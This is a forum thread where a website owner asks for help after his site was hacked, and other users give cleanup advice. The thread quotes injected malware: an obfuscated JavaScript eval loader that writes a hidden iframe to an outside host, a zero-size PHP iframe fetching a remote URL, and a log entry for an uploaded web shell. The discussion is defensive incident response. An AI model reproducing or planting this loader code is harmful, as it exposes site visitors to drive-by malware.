Jump to content

Has my site been hacked?


hedgehog90

Recommended Posts

My website this morning was displaying 2 iframes that I know I never put there in the code:

 

in index.php:

<script type="text/javascript" charset="ISO-8859-1" src="game.js"></script>

 

and in my public_html, there was a file called game.js that contained the following:

O="=100%iframewidthheig".split('');Q="document.write('< src=http://lolkatdska.co.in/sTDS/go.php?sid=1 ht frameborder=0 margin=0 marginht=0></>');";o="";for(J=3;J>-1;J--)Q=Q.split(o.charAt(J)).join(O[J]);eval(Q.replace(//g,'"'));

 

I am the only person with the login details to my website/cpanel, and I know I never uploaded/modified these files.

 

I've spoken to my host, but they told me they didn't see anything (because obviously I removed these foreign objects as soon as i noticed them). They don't seem too bothered about a security risk :/

 

Anyway, I've changed my login details and all that.

 

I mentioned above that I discovered 2 foreign iframes; the other one I found just a moment ago, again on my index page (but within a file called footer.php)

 

in footer.php:

<iframe src="<?= file_get_contents('http://white-star.biz/traffic_url.php?advertId=7&hash=919dac3bf6ad622657959934934bacf1'); ?>" width=0 height=0 border=0></iframe>

 

How did I not notice this before??? I think it was placed there in the last hour or so, after I removed the first iframe.

 

This is pretty weird, I changed my login details for cpanel/ftp and all that stuff over an hour ago!!! and since then I've found this new alteration that I never made!

 

I dunno, maybe it was there along with the game.js iframe but I didn't notice.... but as soon as I fixed the first one, I checked, and everything was fine.

 

Oh, and also, the php files index and footer are now have twice the number of returns as they originally did.

e.g:

<h1><?php include("ads/index_160x600_1.php"); ?></h1>

<h2><?php include("ads/index_125x125_1.php"); ?></h2>

<h3><?php include("ads/index_125x125_2.php"); ?></h3>

Became:

<h1><?php include("ads/index_160x600_1.php"); ?></h1>

 

<h2><?php include("ads/index_125x125_1.php"); ?></h2>

 

<h3><?php include("ads/index_125x125_2.php"); ?></h3>

 

The only way these files could have been altered is if someone knows my login details... but this just is impossible, how did this happen?

Is any of these weird files/modification familiar to anyone else?

 

We had a problem with the site a month ago when google suspected our site as some sort of security threat... because we were hosting content from xxxxxxxxx.com, a site we have no affiliation with and doesn't feature on our site at all. It was all quite bizarre and the google thing went away within a day of contacting them.

 

I have a feeling the same person/thing was behind this also.

 

HELP!

Link to comment
Share on other sites

If you're not using SSH & SFTP for login and file transfer, start using them immediately, preferable using keys, not passwords. You host should disable in bound telnet & ftp.

 

Your server may have been "rooted", i.e. when the first breakin occurred, a rogue program was installed which allows the scammers to get in and change your code whenever they want. The whole file system needs to be scanned for these rogue programs -- they can be very difficult to find.

 

If your current host doesn't want to deal with your problem (it's their problem too), move to another host.

 

BTW, when posting code in this forum, please put the code between


tags.

 

Ken

Link to comment
Share on other sites

Okay, well it's certainly been rooted.

 

Just found this in footer.php since deleting the last one:

 

<iframe src="<?= file_get_contents('http://white-star.biz/traffic_url.php?advertId=7&hash=919dac3bf6ad622657959934934bacf1'); ?>" width=0 height=0 border=0></iframe>

 

Please, tell me how I can get rid of this for good.

 

Btw, I've tried SSH & SFTP in filezilla, but it can never connect.

Also, I'm with Hostgator.

Link to comment
Share on other sites

First of all, you should immediately take your website offline. Either park the domain name temporarily or advice hostgator of what is going on specifically. If they refuse to cooperate, take your business elsewhere. Personally, I would have taken my business elsewhere as soon as they told me that nothing was wrong. It could still be a content management system if you are using something like that.

Link to comment
Share on other sites

I've emailed hostgator once again with further information, and a link to this thread.

 

I've decided not to take the site down temporarily, that seems like quite a massive thing to do for such a small problem.

Well, unless it's not as small as I think?

Link to comment
Share on other sites

It's not a small problem. You don't know what the scammers are doing with the data they are collecting. They could be keylogging everything that is typed, they could also be sending out spam from your site. That happened to me a few years ago and got my domain blacklisted. It took months to get the domain off the blacklists.

 

Ken

Link to comment
Share on other sites

Look through your files (any other unknown files) for a backdoor. It isn't hard to create a PHP file that automatically adds or changes files upon request.

 

If your current host doesn't want to deal with your problem (it's their problem too), move to another host.

:qft:

Link to comment
Share on other sites

I would still strongly recommend taking your site down. Or at least backing up and removing all the files online temporarily. You are potentially hurting all of your viewers and with the way the government is, you could even get in trouble if the bad guys are being bad enough. Either way, its always better to be safe. I promise you if someone goes to your site and gets a virus, that's probably the last time they will ever visit your site. And don't think they'll recommend it to anyone else either.

Link to comment
Share on other sites

Oh, silly I haven't mentioned yet the url of my website:

www.gpstudios.com

 

If by CMS you mean a back-end, then yes, however it can't add to files like index.php or anything like that. It's a games website. The backend allows me to upload/delete games and little else. The hacker must have gotten in through FTP.

 

I have changed the password to the server account.

I use Windows 7.... is that secure enough? :)

I'm quite confident that my computer doesn't have any viruses or trojans.

 

Can someone please explain to me how someone can get my personal details/upload files to the server space without my permission?

I understand that hacking exists, but I've never truly gotten my head round how websites are hacked into without a data leak?

Link to comment
Share on other sites

Check your SQL database. It could be injected in there, as anything you echo from your database that you didn't perform htmlentities/etc on could contain rouge markup/scripting.

 

Also, delete your entire site and re-upload a clean version. A file system compromise means there could be embedded code in ANY of your web-accessible PHP files that could allow attackers to upload anything they want to your server, or change any code in any file.

 

A single hole generally leads to the attacker opening up many more in case the one they're using gets closed.

Link to comment
Share on other sites

What search term should i search for in mySQL?

 

Download the site and reupload it?

I'm sorry, but I really don't see the sense in that, also, due to the amount of data on the website, it would take my internet connection 10s of hours to do this.

This would be a last resort, it would be such a massive job.

 

Hostgator are helping me at the moment, hopefully they'll sort it out to some degree.

Link to comment
Share on other sites

MySQL you want to find any HTML in cells that might be echo'd. Look for malicious markup.

 

We're trying to help. Cut your losses and do it. Next time hire a developer who knows how to deal with attackers.

It's pretty much like dealing with an infected Windows system. I could spend tens of hours hunting for every hole the malware has opened, possibly not getting everything, or I could spend tens of hours backing up uninfected data, wiping the system, and reinstalling all the software/restoring backups and know I've got a clean start...

 

Before you reupload I would find the hole in your script that allowed the initial attack.

Link to comment
Share on other sites

You came here asking for help, and it seems like no matter what is suggested, you don't want to do it for some lame reason or another. You're just going to keep having the same problem over and over again, and it will be your own fault.

Link to comment
Share on other sites

This looks like an automated attack of some russian spammer.

 

Check your apache logs in the time that your files were modified and you'll know exactly how they do it.

Also check your upload folder to see if you find any strange file. Uploaders can be bypassed depending on how you code it.

Link to comment
Share on other sites

Ok, I've found something.

I was going through the logs, and I found the first occurance of the game.js file being loaded.

I looked back a few seconds before this and found a "POST" that said:

 

188.226.15.54 - - [31/May/2011:09:49:25 -0500] "POST /games/files/w/w.php HTTP/1.1" 200 12970 "http://www.gpstudios.com/games/files/w/w.php" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24"

 

I looked inside the /games/files/w/ and sure enough, there it was.

I've attached it to show it to you.

 

I have no idea how this was uploaded. It means it was likely done on the  back-end and not through ftp, but the script for uploading new games does not allow the upload of php files, and it's not recorded by mySQL :/

 

.... I've just been thinking, how could the person who uploaded that file run it? Anything within /games/ is inaccessable because I had locked directory indexing (going through folders like a contents page) in the htaccess file... but last night I noticed my my htaccess had disappearred! I didn't even relate it to the apparrent hacking I had spent all day trying to fix. I re-uploaded an old one and didn't think anymore about it.

It must have been deleted by the person who uploaded it, and then the script was run....

 

I can't see how it could have been uploaded through the back-end... the only evidence for it is that the w.php file is within a folder called w, which is exactly the same format as the games files.

 

Help, please.

 

[attachment deleted by admin]

Link to comment
Share on other sites

You're not locking the directory from running scripts, you're locking a browser from getting a directory list. The hackers didn't have to get a list to see what was there, since they put the file there. If you don't want people to run scripts in a directory from a web browser, that directory needs to be outside the web root.

 

What is the protection on the games directory. If it's 777, that means it's open to the world and the hackers could have gotten there from a different host on the share host.

 

Ken

Link to comment
Share on other sites

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.